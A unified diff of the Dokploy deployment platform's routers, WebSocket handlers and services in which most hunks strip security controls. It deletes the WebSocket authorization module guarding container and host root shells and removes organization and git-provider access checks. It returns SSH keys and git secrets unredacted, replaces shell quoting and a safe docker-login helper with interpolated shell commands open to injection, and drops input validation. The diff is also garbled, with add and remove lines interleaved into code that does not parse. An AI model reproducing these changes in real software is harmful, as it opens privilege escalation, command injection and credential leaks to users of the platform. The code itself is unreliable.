 	assertGitProviderAccess,
 	findGithubById,
 	getAccessibleGitProviderIds,
 	getGithubBranches,
@@ -23,27 +22,17 @@ import {
 } from "@/server/db/schema";
 export const githubRouter = createTRPCRouter({
-	one: protectedProcedure
+	one: protectedProcedure.input(apiFindOneGithub).query(async ({ input }) => {
-		.input(apiFindOneGithub)
+		return await findGithubById(input.githubId);
 		.query(async ({ input, ctx }) => {
 			const github = await findGithubById(input.githubId);
 			await assertGitProviderAccess(ctx.session, github.gitProvider);
 			return github;
 	}),
 	getGithubRepositories: protectedProcedure
 		.input(apiFindOneGithub)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			const github = await findGithubById(input.githubId);
 			await assertGitProviderAccess(ctx.session, github.gitProvider);
 			return await getGithubRepositories(input.githubId);
 		}),
 	getGithubBranches: protectedProcedure
 		.input(apiFindGithubBranches)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			if (input.githubId) {
 				const github = await findGithubById(input.githubId);
 				await assertGitProviderAccess(ctx.session, github.gitProvider);
 			}
 			return await getGithubBranches(input);
 		}),
 	githubProviders: protectedProcedure.query(async ({ ctx }) => {
@@ -78,10 +67,8 @@ export const githubRouter = createTRPCRouter({
 	testConnection: protectedProcedure
 		.input(apiFindOneGithub)
-		.mutation(async ({ input, ctx }) => {
+		.mutation(async ({ input }) => {
 			try {
 				const github = await findGithubById(input.githubId);
 				await assertGitProviderAccess(ctx.session, github.gitProvider);
 				const result = await getGithubRepositories(input.githubId);
 				return `Found ${result.length} repositories`;
 			} catch (err) {
--- a/apps/dokploy/server/api/routers/gitlab.ts
+++ b/apps/dokploy/server/api/routers/gitlab.ts
@@ -1,5 +1,4 @@
 import {
 	assertGitProviderAccess,
 	createGitlab,
 	findGitlabById,
 	getAccessibleGitProviderIds,
@@ -52,12 +51,8 @@ export const gitlabRouter = createTRPCRouter({
 				});
 			}
 		}),
-	one: protectedProcedure
+	one: protectedProcedure.input(apiFindOneGitlab).query(async ({ input }) => {
-		.input(apiFindOneGitlab)
+		return await findGitlabById(input.gitlabId);
 		.query(async ({ input, ctx }) => {
 			const gitlab = await findGitlabById(input.gitlabId);
 			await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
 			return gitlab;
 	}),
 	gitlabProviders: protectedProcedure.query(async ({ ctx }) => {
 		const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -91,27 +86,19 @@ export const gitlabRouter = createTRPCRouter({
 	}),
 	getGitlabRepositories: protectedProcedure
 		.input(apiFindOneGitlab)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			const gitlab = await findGitlabById(input.gitlabId);
 			await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
 			return await getGitlabRepositories(input.gitlabId);
 		}),
 	getGitlabBranches: protectedProcedure
 		.input(apiFindGitlabBranches)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			if (input.gitlabId) {
 				const gitlab = await findGitlabById(input.gitlabId);
 				await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
 			}
 			return await getGitlabBranches(input);
 		}),
 	testConnection: protectedProcedure
 		.input(apiGitlabTestConnection)
-		.mutation(async ({ input, ctx }) => {
+		.mutation(async ({ input }) => {
 			try {
 				const gitlab = await findGitlabById(input.gitlabId);
 				await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
 				const result = await testGitlabConnection(input);
 				return `Found ${result} repositories`;
--- a/apps/dokploy/server/api/routers/registry.ts
+++ b/apps/dokploy/server/api/routers/registry.ts
@@ -5,7 +5,6 @@ import {
 	findRegistryById,
 	IS_CLOUD,
 	removeRegistry,
 	safeDockerLoginCommand,
 	updateRegistry,
 } from "@dokploy/server";
 import { db } from "@dokploy/server/db";
@@ -123,11 +122,7 @@ export const registryRouter = createTRPCRouter({
 				if (input.serverId && input.serverId !== "none") {
 					await execAsyncRemote(
 						input.serverId,
-						safeDockerLoginCommand(
+						`echo ${input.password} | docker ${args.join(" ")}`,
 							input.registryUrl,
 							input.username,
 							input.password,
 						),
 					);
 				} else {
 					await execFileAsync("docker", args, {
@@ -187,11 +182,7 @@ export const registryRouter = createTRPCRouter({
 				if (input.serverId && input.serverId !== "none") {
 					await execAsyncRemote(
 						input.serverId,
-						safeDockerLoginCommand(
+						`echo ${registryData.password} | docker ${args.join(" ")}`,
 							registryData.registryUrl,
 							registryData.username,
 							registryData.password,
 						),
 					);
 				} else {
 					await execFileAsync("docker", args, {
--- a/apps/dokploy/server/api/routers/schedule.ts
+++ b/apps/dokploy/server/api/routers/schedule.ts
@@ -13,7 +13,6 @@ import {
 	findMemberByUserId,
 } from "@dokploy/server/services/permission";
 import {
 	assertHostScheduleAccess,
 	createSchedule,
 	deleteSchedule,
 	findScheduleById,
@@ -32,8 +31,6 @@ export const scheduleRouter = createTRPCRouter({
 	create: protectedProcedure
 		.input(createScheduleSchema)
 		.mutation(async ({ input, ctx }) => {
 			await assertHostScheduleAccess(ctx, input.scheduleType, input.serverId);
 			const serviceId = input.applicationId || input.composeId;
 			if (serviceId) {
 				await checkServicePermissionAndAccess(ctx, serviceId, {
@@ -47,9 +44,45 @@ export const scheduleRouter = createTRPCRouter({
 					);
 				}
 			} else {
 				if (input.scheduleType === "dokploy-server" && IS_CLOUD) {
 					throw new TRPCError({
 						code: "FORBIDDEN",
 						message:
 							"Host-level schedules are not available in the cloud version.",
 					});
 				}
 				await checkPermission(ctx, { schedule: ["create"] });
-				if (IS_CLOUD && input.scheduleType === "server" && input.serverId) {
+				if (
 					input.scheduleType === "server" ||
 					input.scheduleType === "dokploy-server"
 				) {
 					const member = await findMemberByUserId(
 						ctx.user.id,
 						ctx.session.activeOrganizationId,
 					);
 					if (member.role !== "owner" && member.role !== "admin") {
 						throw new TRPCError({
 							code: "FORBIDDEN",
 							message:
 								"Only owners and admins can manage server-level schedules.",
 						});
 					}
 				}
 				if (input.scheduleType === "server" && input.serverId) {
 					const targetServer = await findServerById(input.serverId);
 					if (
 						targetServer.organizationId !== ctx.session.activeOrganizationId
 					) {
 						throw new TRPCError({
 							code: "UNAUTHORIZED",
 							message: "You don't have access to this server.",
 						});
 					}
 					if (IS_CLOUD) {
 						await assertScheduledJobLimit(
 							ctx.session.activeOrganizationId,
 							"server",
@@ -57,6 +90,7 @@ export const scheduleRouter = createTRPCRouter({
 						);
 					}
 				}
 			}
 			const newSchedule = await createSchedule({
 				...input,
 				...(input.scheduleType === "dokploy-server" && {
@@ -101,22 +135,6 @@ export const scheduleRouter = createTRPCRouter({
 				});
 			}
 			await assertHostScheduleAccess(
 				ctx,
 				existingSchedule.scheduleType,
 				existingSchedule.serverId,
 			);
 			if (
 				input.scheduleType &&
 				input.scheduleType !== existingSchedule.scheduleType
 			) {
 				await assertHostScheduleAccess(
 					ctx,
 					input.scheduleType,
 					input.serverId ?? existingSchedule.serverId,
 				);
 			}
 			const serviceId =
 				existingSchedule.applicationId || existingSchedule.composeId;
 			if (serviceId) {
@@ -124,7 +142,47 @@ export const scheduleRouter = createTRPCRouter({
 					schedule: ["update"],
 				});
 			} else {
 				if (existingSchedule.scheduleType === "dokploy-server" && IS_CLOUD) {
 					throw new TRPCError({
 						code: "FORBIDDEN",
 						message:
 							"Host-level schedules are not available in the cloud version.",
 					});
 				}
 				await checkPermission(ctx, { schedule: ["update"] });
 				if (
 					existingSchedule.scheduleType === "server" ||
 					existingSchedule.scheduleType === "dokploy-server"
 				) {
 					const member = await findMemberByUserId(
 						ctx.user.id,
 						ctx.session.activeOrganizationId,
 					);
 					if (member.role !== "owner" && member.role !== "admin") {
 						throw new TRPCError({
 							code: "FORBIDDEN",
 							message:
 								"Only owners and admins can manage server-level schedules.",
 						});
 					}
 				}
 				if (
 					existingSchedule.scheduleType === "server" &&
 					existingSchedule.serverId
 				) {
 					const targetServer = await findServerById(existingSchedule.serverId);
 					if (
 						targetServer.organizationId !== ctx.session.activeOrganizationId
 					) {
 						throw new TRPCError({
 							code: "UNAUTHORIZED",
 							message: "You don't have access to this server.",
 						});
 					}
 				}
 			}
 			const updatedSchedule = await updateSchedule(input);
@@ -164,19 +222,50 @@ export const scheduleRouter = createTRPCRouter({
 		.input(z.object({ scheduleId: z.string() }))
 		.mutation(async ({ input, ctx }) => {
 			const scheduleItem = await findScheduleById(input.scheduleId);
 			await assertHostScheduleAccess(
 				ctx,
 				scheduleItem.scheduleType,
 				scheduleItem.serverId,
 			);
 			const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
 			if (serviceId) {
 				await checkServicePermissionAndAccess(ctx, serviceId, {
 					schedule: ["delete"],
 				});
 			} else {
 				if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
 					throw new TRPCError({
 						code: "FORBIDDEN",
 						message:
 							"Host-level schedules are not available in the cloud version.",
 					});
 				}
 				await checkPermission(ctx, { schedule: ["delete"] });
 				if (
 					scheduleItem.scheduleType === "server" ||
 					scheduleItem.scheduleType === "dokploy-server"
 				) {
 					const member = await findMemberByUserId(
 						ctx.user.id,
 						ctx.session.activeOrganizationId,
 					);
 					if (member.role !== "owner" && member.role !== "admin") {
 						throw new TRPCError({
 							code: "FORBIDDEN",
 							message:
 								"Only owners and admins can manage server-level schedules.",
 						});
 					}
 				}
 				if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
 					const targetServer = await findServerById(scheduleItem.serverId);
 					if (
 						targetServer.organizationId !== ctx.session.activeOrganizationId
 					) {
 						throw new TRPCError({
 							code: "UNAUTHORIZED",
 							message: "You don't have access to this server.",
 						});
 					}
 				}
 			}
 			await deleteSchedule(input.scheduleId);
@@ -300,19 +389,50 @@ export const scheduleRouter = createTRPCRouter({
 		.input(z.object({ scheduleId: z.string().min(1) }))
 		.mutation(async ({ input, ctx }) => {
 			const scheduleItem = await findScheduleById(input.scheduleId);
 			await assertHostScheduleAccess(
 				ctx,
 				scheduleItem.scheduleType,
 				scheduleItem.serverId,
 			);
 			const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
 			if (serviceId) {
 				await checkServicePermissionAndAccess(ctx, serviceId, {
 					schedule: ["create"],
 				});
 			} else {
 				if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
 					throw new TRPCError({
 						code: "FORBIDDEN",
 						message:
 							"Host-level schedules are not available in the cloud version.",
 					});
 				}
 				await checkPermission(ctx, { schedule: ["create"] });
 				if (
 					scheduleItem.scheduleType === "server" ||
 					scheduleItem.scheduleType === "dokploy-server"
 				) {
 					const member = await findMemberByUserId(
 						ctx.user.id,
 						ctx.session.activeOrganizationId,
 					);
 					if (member.role !== "owner" && member.role !== "admin") {
 						throw new TRPCError({
 							code: "FORBIDDEN",
 							message:
 								"Only owners and admins can manage server-level schedules.",
 						});
 					}
 				}
 				if (scheduleItem.scheduleType === "server" && scheduleItem.serverId) {
 					const targetServer = await findServerById(scheduleItem.serverId);
 					if (
 						targetServer.organizationId !== ctx.session.activeOrganizationId
 					) {
 						throw new TRPCError({
 							code: "UNAUTHORIZED",
 							message: "You don't have access to this server.",
 						});
 					}
 				}
 			}
 			try {
 				await runCommand(input.scheduleId);
--- a/apps/dokploy/server/api/routers/server.ts
+++ b/apps/dokploy/server/api/routers/server.ts
@@ -9,7 +9,6 @@ import {
 	getPublicIpWithFallback,
 	haveActiveServices,
 	IS_CLOUD,
 	redactServerSshKey,
 	removeDeploymentsByServerId,
 	serverAudit,
 	serverSetup,
@@ -106,7 +105,7 @@ export const serverRouter = createTRPCRouter({
 				});
 			}
-			return redactServerSshKey(server);
+			return server;
 		}),
 	getDefaultCommand: withPermission("server", "read")
 		.input(apiFindOneServer)
@@ -413,14 +412,6 @@ export const serverRouter = createTRPCRouter({
 		.input(apiRemoveServer)
 		.mutation(async ({ input, ctx }) => {
 			try {
 				const currentServer = await findServerById(input.serverId);
 				if (currentServer.organizationId !== ctx.session.activeOrganizationId) {
 					throw new TRPCError({
 						code: "UNAUTHORIZED",
 						message: "You are not authorized to delete this server",
 					});
 				}
 				const activeServers = await haveActiveServices(input.serverId);
 				if (activeServers) {
@@ -429,6 +420,7 @@ export const serverRouter = createTRPCRouter({
 						message: "Server has active services, please delete them first",
 					});
 				}
 				const currentServer = await findServerById(input.serverId);
 				await audit(ctx, {
 					action: "delete",
 					resourceType: "server",
@@ -444,7 +436,7 @@ export const serverRouter = createTRPCRouter({
 					await updateServersBasedOnQuantity(admin.id, admin.serversQuantity);
 				}
-				return redactServerSshKey(currentServer);
+				return currentServer;
 			} catch (error) {
 				throw error;
 			}
--- a/apps/dokploy/server/api/routers/swarm.ts
+++ b/apps/dokploy/server/api/routers/swarm.ts
@@ -18,30 +18,12 @@ export const swarmRouter = createTRPCRouter({
 				serverId: z.string().optional(),
 			}),
 		)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			if (input.serverId) {
 				const server = await findServerById(input.serverId);
 				if (server.organizationId !== ctx.session?.activeOrganizationId) {
 					throw new TRPCError({
 						code: "UNAUTHORIZED",
 						message: "You are not authorized to access this server",
 					});
 				}
 			}
 			return await getSwarmNodes(input.serverId);
 		}),
 	getNodeInfo: withPermission("server", "read")
 		.input(z.object({ nodeId: z.string(), serverId: z.string().optional() }))
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			if (input.serverId) {
 				const server = await findServerById(input.serverId);
 				if (server.organizationId !== ctx.session?.activeOrganizationId) {
 					throw new TRPCError({
 						code: "UNAUTHORIZED",
 						message: "You are not authorized to access this server",
 					});
 				}
 			}
 			return await getNodeInfo(input.nodeId, input.serverId);
 		}),
 	getNodeApps: withPermission("server", "read")
@@ -50,16 +32,7 @@ export const swarmRouter = createTRPCRouter({
 				serverId: z.string().optional(),
 			}),
 		)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			if (input.serverId) {
 				const server = await findServerById(input.serverId);
 				if (server.organizationId !== ctx.session?.activeOrganizationId) {
 					throw new TRPCError({
 						code: "UNAUTHORIZED",
 						message: "You are not authorized to access this server",
 					});
 				}
 			}
 			return getNodeApplications(input.serverId);
 		}),
 	getAppInfos: withPermission("server", "read")
@@ -81,16 +54,7 @@ export const swarmRouter = createTRPCRouter({
 				serverId: z.string().optional(),
 			}),
 		)
-		.query(async ({ input, ctx }) => {
+		.query(async ({ input }) => {
 			if (input.serverId) {
 				const server = await findServerById(input.serverId);
 				if (server.organizationId !== ctx.session?.activeOrganizationId) {
 					throw new TRPCError({
 						code: "UNAUTHORIZED",
 						message: "You are not authorized to access this server",
 					});
 				}
 			}
 			return await getApplicationInfo(input.appName, input.serverId);
 		}),
 	getContainerStats: withPermission("server", "read")
--- a/apps/dokploy/server/api/routers/volume-backups.ts
+++ b/apps/dokploy/server/api/routers/volume-backups.ts
@@ -13,8 +13,6 @@ import { db } from "@dokploy/server/db";
 import {
 	createVolumeBackupSchema,
 	updateVolumeBackupSchema,
 	VOLUME_NAME_MESSAGE,
 	VOLUME_NAME_REGEX,
 	volumeBackups,
 } from "@dokploy/server/db/schema";
 import { findDestinationById } from "@dokploy/server/services/destination";
@@ -277,10 +275,7 @@ export const volumeBackupsRouter = createTRPCRouter({
 			z.object({
 				backupFileName: z.string().min(1),
 				destinationId: z.string().min(1),
-				volumeName: z
+				volumeName: z.string().min(1),
 					.string()
 					.min(1)
 					.regex(VOLUME_NAME_REGEX, VOLUME_NAME_MESSAGE),
 				id: z.string().min(1),
 				serviceType: z.enum(["application", "compose"]),
 				serverId: z.string().optional(),
--- a/apps/dokploy/server/wss/authorize.ts
+++ b/apps/dokploy/server/wss/authorize.ts
@@ -1,89 +0,0 @@
 import { getAccessibleServerIds } from "@dokploy/server";
 import {
 	checkServiceAccess,
 	findMemberByUserId,
 	hasPermission,
 } from "@dokploy/server/services/permission";
 type WssUser = { id: string } | null | undefined;
 type WssSession = { activeOrganizationId?: string | null } | null | undefined;
 const buildCtx = (user: { id: string }, activeOrganizationId: string) => ({
 	user: { id: user.id },
 	session: { activeOrganizationId },
 });
 // Authorizes docker/container operations opened over a WebSocket (container
 // terminal, container logs, container stats). Requires the docker permission
 // (owner/admin, or a member explicitly granted canAccessToDocker) and, for a
 // remote server, that the server is accessible to the caller. Previously these
 // handlers only checked session + organization, so any member could reach a
 // root shell / logs of any container.
 export const canAccessDockerOverWss = async (
 	user: WssUser,
 	session: WssSession,
 	serverId?: string | null,
 	serviceId?: string | null,
 ): Promise<boolean> => {
 	if (!user || !session?.activeOrganizationId) return false;
 	const ctx = buildCtx(user, session.activeOrganizationId);
 	// When the container belongs to a specific Dokploy service (opened from a
 	// service page, so serviceId is present), access to that service is the
 	// authoritative gate — matching the service tRPC endpoints (e.g.
 	// application.readLogs, which check service access only). A member granted
 	// the service can read its logs / open its terminal even without the broad
 	// "docker" permission or explicit access to the server it runs on.
 	if (serviceId) {
 		try {
 			await checkServiceAccess(ctx, serviceId, "read");
 			return true;
 		} catch {
 			return false;
 		}
 	}
 	// Generic Docker overview (no service context): mirror the docker tRPC router
 	// — require the docker permission and access to the target server.
 	if (!(await hasPermission(ctx, { docker: ["read"] }))) return false;
 	if (serverId && serverId !== "local") {
 		const accessible = await getAccessibleServerIds({
 			userId: user.id,
 			activeOrganizationId: session.activeOrganizationId,
 		});
 		if (!accessible.has(serverId)) return false;
 	}
 	return true;
 };
 // Authorizes the host/server SSH terminal opened over a WebSocket. The local
 // host terminal is a root shell on the control-plane host, so it is restricted
 // to owner/admin. A remote server terminal is gated on server access.
 export const canAccessTerminalOverWss = async (
 	user: WssUser,
 	session: WssSession,
 	serverId?: string | null,
 ): Promise<boolean> => {
 	if (!user || !session?.activeOrganizationId) return false;
 	if (serverId && serverId !== "local") {
 		const accessible = await getAccessibleServerIds({
 			userId: user.id,
 			activeOrganizationId: session.activeOrganizationId,
 		});
 		return accessible.has(serverId);
 	}
 	try {
 		const member = await findMemberByUserId(
 			user.id,
 			session.activeOrganizationId,
 		);
 		return member?.role === "owner" || member?.role === "admin";
 	} catch {
 		return false;
 	}
 };
--- a/apps/dokploy/server/wss/docker-container-logs.ts
+++ b/apps/dokploy/server/wss/docker-container-logs.ts
@@ -3,7 +3,6 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
 import { spawn } from "node-pty";
 import { Client } from "ssh2";
 import { WebSocketServer } from "ws";
 import { canAccessDockerOverWss } from "./authorize";
 import {
 	getShell,
 	isValidContainerId,
@@ -42,7 +41,6 @@ export const setupDockerContainerLogsWebSocketServer = (
 		const since = url.searchParams.get("since") ?? "all";
 		const serverId = url.searchParams.get("serverId");
 		const runType = url.searchParams.get("runType");
 		const serviceId = url.searchParams.get("serviceId");
 		const { user, session } = await validateRequest(req);
 		if (!containerId) {
@@ -76,11 +74,6 @@ export const setupDockerContainerLogsWebSocketServer = (
 			return;
 		}
 		if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
 			ws.close(4003, "Not authorized");
 			return;
 		}
 		// Set up keep-alive ping mechanism to prevent timeout
 		// Send ping every 45 seconds to keep connection alive
 		const pingInterval = setInterval(() => {
--- a/apps/dokploy/server/wss/docker-container-terminal.ts
+++ b/apps/dokploy/server/wss/docker-container-terminal.ts
@@ -3,7 +3,6 @@ import { findServerById, IS_CLOUD, validateRequest } from "@dokploy/server";
 import { spawn } from "node-pty";
 import { Client } from "ssh2";
 import { WebSocketServer } from "ws";
 import { canAccessDockerOverWss } from "./authorize";
 import { isValidContainerId, isValidShell } from "./utils";
 export const setupDockerContainerTerminalWebSocketServer = (
@@ -33,7 +32,6 @@ export const setupDockerContainerTerminalWebSocketServer = (
 		const containerId = url.searchParams.get("containerId");
 		const activeWay = url.searchParams.get("activeWay");
 		const serverId = url.searchParams.get("serverId");
 		const serviceId = url.searchParams.get("serviceId");
 		const { user, session } = await validateRequest(req);
 		if (!containerId) {
@@ -60,11 +58,6 @@ export const setupDockerContainerTerminalWebSocketServer = (
 			ws.close();
 			return;
 		}
 		if (!(await canAccessDockerOverWss(user, session, serverId, serviceId))) {
 			ws.close(4003, "Not authorized");
 			return;
 		}
 		try {
 			if (serverId) {
 				const server = await findServerById(serverId);
--- a/apps/dokploy/server/wss/docker-stats.ts
+++ b/apps/dokploy/server/wss/docker-stats.ts
@@ -9,7 +9,6 @@ import {
 	validateRequest,
 } from "@dokploy/server";
 import { WebSocketServer } from "ws";
 import { canAccessDockerOverWss } from "./authorize";
 export const setupDockerStatsMonitoringSocketServer = (
 	server: http.Server<typeof http.IncomingMessage, typeof http.ServerResponse>,
@@ -45,7 +44,6 @@ export const setupDockerStatsMonitoringSocketServer = (
 			| "application"
 			| "stack"
 			| "docker-compose";
 		const serviceId = url.searchParams.get("serviceId");
 		const { user, session } = await validateRequest(req);
 		if (!appName) {
@@ -57,11 +55,6 @@ export const setupDockerStatsMonitoringSocketServer = (
 			ws.close();
 			return;
 		}
 		if (!(await canAccessDockerOverWss(user, session, null, serviceId))) {
 			ws.close(4003, "Not authorized");
 			return;
 		}
 		const intervalId = setInterval(async () => {
 			try {
 				// Special case: when monitoring "dokploy", get host system stats instead of container stats
--- a/apps/dokploy/server/wss/terminal.ts
+++ b/apps/dokploy/server/wss/terminal.ts
@@ -9,7 +9,6 @@ import { publicIpv4, publicIpv6 } from "public-ip";
 import { Client, type ConnectConfig } from "ssh2";
 import { WebSocketServer } from "ws";
 import { getDockerHost } from "../utils/docker";
 import { canAccessTerminalOverWss } from "./authorize";
 import { setupLocalServerSSHKey } from "./utils";
 const COMMAND_TO_ALLOW_LOCAL_ACCESS = `
@@ -94,11 +93,6 @@ export const setupTerminalWebSocketServer = (
 			return;
 		}
 		if (!(await canAccessTerminalOverWss(user, session, serverId))) {
 			ws.close(4003, "Not authorized");
 			return;
 		}
 		let connectionDetails: ConnectConfig = {};
 		const isLocalServer = serverId === "local";
--- a/apps/dokploy/styles/globals.css
+++ b/apps/dokploy/styles/globals.css
@@ -269,12 +269,6 @@
 		@apply bg-background text-foreground;
 	}
 	/* Cursor pointer on buttons */
 	button:not([disabled]),
 	[role="button"]:not([disabled]) {
 		cursor: pointer;
 	}
 	/* Custom scrollbar styling */
 	::-webkit-scrollbar {
 		width: 0.3125rem;
--- a/packages/server/src/db/schema/ai.ts
+++ b/packages/server/src/db/schema/ai.ts
@@ -54,15 +54,6 @@ export const apiUpdateAi = createSchema
 	})
 	.omit({ organizationId: true });
 export const aiCustomProviderSchema = z.object({
 	name: z.string().min(1, { message: "Name is required" }),
 	apiUrl: z.string().url({ message: "Please enter a valid URL" }),
 });
 export const apiSaveAiCustomProviders = z.object({
 	providers: z.array(aiCustomProviderSchema),
 });
 export const deploySuggestionSchema = z.object({
 	environmentId: z.string().min(1),
 	id: z.string().min(1),
--- a/packages/server/src/db/schema/schedule.ts
+++ b/packages/server/src/db/schema/schedule.ts
@@ -57,7 +57,6 @@ export const schedules = pgTable("schedule", {
 });
 export type Schedule = typeof schedules.$inferSelect;
 export type ScheduleType = Schedule["scheduleType"];
 export const schedulesRelations = relations(schedules, ({ one, many }) => ({
 	application: one(applications, {
@@ -79,9 +78,7 @@ export const schedulesRelations = relations(schedules, ({ one, many }) => ({
 	deployments: many(deployments),
 }));
-export const createScheduleSchema = createInsertSchema(schedules, {
+export const createScheduleSchema = createInsertSchema(schedules);
 	scheduleType: z.enum(["application", "compose", "server", "dokploy-server"]),
 });
 export const updateScheduleSchema = createScheduleSchema.extend({
 	scheduleId: z.string().min(1),
--- a/packages/server/src/db/schema/utils.ts
+++ b/packages/server/src/db/schema/utils.ts
@@ -41,12 +41,6 @@ export const APP_NAME_REGEX = /^[a-zA-Z0-9._-]+$/;
 export const APP_NAME_MESSAGE =
 	"App name can only contain letters, numbers, dots, underscores and hyphens";
 /** Docker volume name: must start alphanumeric, then letters/numbers/._- only. Safe for shell. */
 export const VOLUME_NAME_REGEX = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;
 export const VOLUME_NAME_MESSAGE =
 	"Volume name must start with a letter or number and contain only letters, numbers, dots, underscores and hyphens";
 /** Database password: blocks shell-dangerous characters like $ ! ' " \ / and spaces. */
 export const DATABASE_PASSWORD_REGEX =
 	/^[a-zA-Z0-9@#%^&*()_+\-=[\]{}|;:,.<>?~`]*$/;
--- a/packages/server/src/db/schema/volume-backups.ts
+++ b/packages/server/src/db/schema/volume-backups.ts
@@ -14,11 +14,7 @@ import { serviceType } from "./mount";
 import { mysql } from "./mysql";
 import { postgres } from "./postgres";
 import { redis } from "./redis";
-import {
+import { generateAppName } from "./utils";
 	generateAppName,
 	VOLUME_NAME_MESSAGE,
 	VOLUME_NAME_REGEX,
 } from "./utils";
 export const volumeBackups = pgTable("volume_backup", {
 	volumeBackupId: text("volumeBackupId")
@@ -117,9 +113,7 @@ export const volumeBackupsRelations = relations(
 	}),
 );
-export const createVolumeBackupSchema = createInsertSchema(volumeBackups, {
+export const createVolumeBackupSchema = createInsertSchema(volumeBackups).omit({
 	volumeName: z.string().regex(VOLUME_NAME_REGEX, VOLUME_NAME_MESSAGE),
 }).omit({
 	volumeBackupId: true,
 });
--- a/packages/server/src/lib/auth.ts
+++ b/packages/server/src/lib/auth.ts
@@ -419,7 +419,7 @@ const createBetterAuth = () =>
 				enableMetadata: true,
 				references: "user",
 			}),
-			sso({ trustEmailVerified: true }),
+			sso(),
 			scim({
 				beforeSCIMTokenGenerated: async ({ user }) => {
 					const dbUser = await db.query.user.findFirst({
--- a/packages/server/src/services/ai.ts
+++ b/packages/server/src/services/ai.ts
@@ -1,6 +1,5 @@
 import { db } from "@dokploy/server/db";
-import { ai, organization } from "@dokploy/server/db/schema";
+import { ai } from "@dokploy/server/db/schema";
 import { aiCustomProviderSchema } from "@dokploy/server/db/schema/ai";
 import { selectAIProvider } from "@dokploy/server/utils/ai/select-ai-provider";
 import { TRPCError } from "@trpc/server";
 import { generateText, Output } from "ai";
@@ -49,74 +48,9 @@ export const getAiSettingById = async (aiId: string) => {
 	return aiSetting;
 };
 type AiCustomProvider = z.infer<typeof aiCustomProviderSchema>;
 const parseOrgMetadata = (metadata: string | null) => {
 	try {
 		const parsed = JSON.parse(metadata || "{}");
 		return typeof parsed === "object" && parsed !== null
 			? (parsed as Record<string, unknown>)
 			: {};
 	} catch {
 		return {};
 	}
 };
 export const getCustomAiProviders = async (organizationId: string) => {
 	const org = await db.query.organization.findFirst({
 		where: eq(organization.id, organizationId),
 	});
 	const metadata = parseOrgMetadata(org?.metadata ?? null);
 	const result = z
 		.array(aiCustomProviderSchema)
 		.safeParse(metadata.aiProviders);
 	return result.success ? result.data : [];
 };
 export const saveCustomAiProviders = async (
 	organizationId: string,
 	providers: AiCustomProvider[],
 ) => {
 	const org = await db.query.organization.findFirst({
 		where: eq(organization.id, organizationId),
 	});
 	if (!org) {
 		throw new TRPCError({
 			code: "NOT_FOUND",
 			message: "Organization not found",
 		});
 	}
 	const metadata = parseOrgMetadata(org.metadata);
 	metadata.aiProviders = providers;
 	await db
 		.update(organization)
 		.set({ metadata: JSON.stringify(metadata) })
 		.where(eq(organization.id, organizationId));
 	return providers;
 };
 const normalizeApiUrl = (url: string) => url.trim().replace(/\/+$/, "");
 export const saveAiSettings = async (organizationId: string, settings: any) => {
 	const aiId = settings.aiId;
 	if (settings.apiUrl) {
 		const customProviders = await getCustomAiProviders(organizationId);
 		if (customProviders.length > 0) {
 			const isAllowed = customProviders.some(
 				(provider) =>
 					normalizeApiUrl(provider.apiUrl) === normalizeApiUrl(settings.apiUrl),
 			);
 			if (!isAllowed) {
 				throw new TRPCError({
 					code: "FORBIDDEN",
 					message:
 						"This API URL is not in your organization's allowed AI providers",
 				});
 			}
 		}
 	}
 	return db
 		.insert(ai)
 		.values({
--- a/packages/server/src/services/application.ts
+++ b/packages/server/src/services/application.ts
@@ -102,24 +102,10 @@ export const findApplicationById = async (applicationId: string) => {
 			redirects: true,
 			security: true,
 			ports: true,
-			gitlab: {
+			gitlab: true,
-				columns: { secret: false, accessToken: false, refreshToken: false },
+			github: true,
-			},
+			bitbucket: true,
-			github: {
+			gitea: true,
 				columns: {
 					githubClientSecret: false,
 					githubPrivateKey: false,
 					githubWebhookSecret: false,
 				},
 			},
 			bitbucket: { columns: { appPassword: false, apiToken: false } },
 			gitea: {
 				columns: {
 					clientSecret: false,
 					accessToken: false,
 					refreshToken: false,
 				},
 			},
 			server: true,
 			previewDeployments: true,
 			registry: { columns: { password: false } },
--- a/packages/server/src/services/certificate.ts
+++ b/packages/server/src/services/certificate.ts
@@ -9,7 +9,6 @@ import {
 import { removeDirectoryIfExistsContent } from "@dokploy/server/utils/filesystem/directory";
 import { TRPCError } from "@trpc/server";
 import { eq } from "drizzle-orm";
 import { quote } from "shell-quote";
 import { stringify } from "yaml";
 import type { z } from "zod";
 import { encodeBase64 } from "../utils/docker/utils";
@@ -64,7 +63,7 @@ export const removeCertificateById = async (certificateId: string) => {
 	const certDir = path.join(CERTIFICATES_PATH, certificate.certificatePath);
 	if (certificate.serverId) {
-		await execAsyncRemote(certificate.serverId, `rm -rf ${quote([certDir])}`);
+		await execAsyncRemote(certificate.serverId, `rm -rf ${certDir}`);
 	} else {
 		await removeDirectoryIfExistsContent(certDir);
 	}
@@ -109,10 +108,10 @@ const createCertificateFiles = async (certificate: Certificate) => {
 		const certificateData = encodeBase64(certificate.certificateData);
 		const privateKey = encodeBase64(certificate.privateKey);
 		const command = `
-			mkdir -p ${quote([certDir])};
+			mkdir -p ${certDir};
-			echo "${certificateData}" | base64 -d > ${quote([crtPath])};
+			echo "${certificateData}" | base64 -d > "${crtPath}";
-			echo "${privateKey}" | base64 -d > ${quote([keyPath])};
+			echo "${privateKey}" | base64 -d > "${keyPath}";
-			echo "${yamlConfig}" > ${quote([configFile])};
+			echo "${yamlConfig}" > "${configFile}";
 		`;
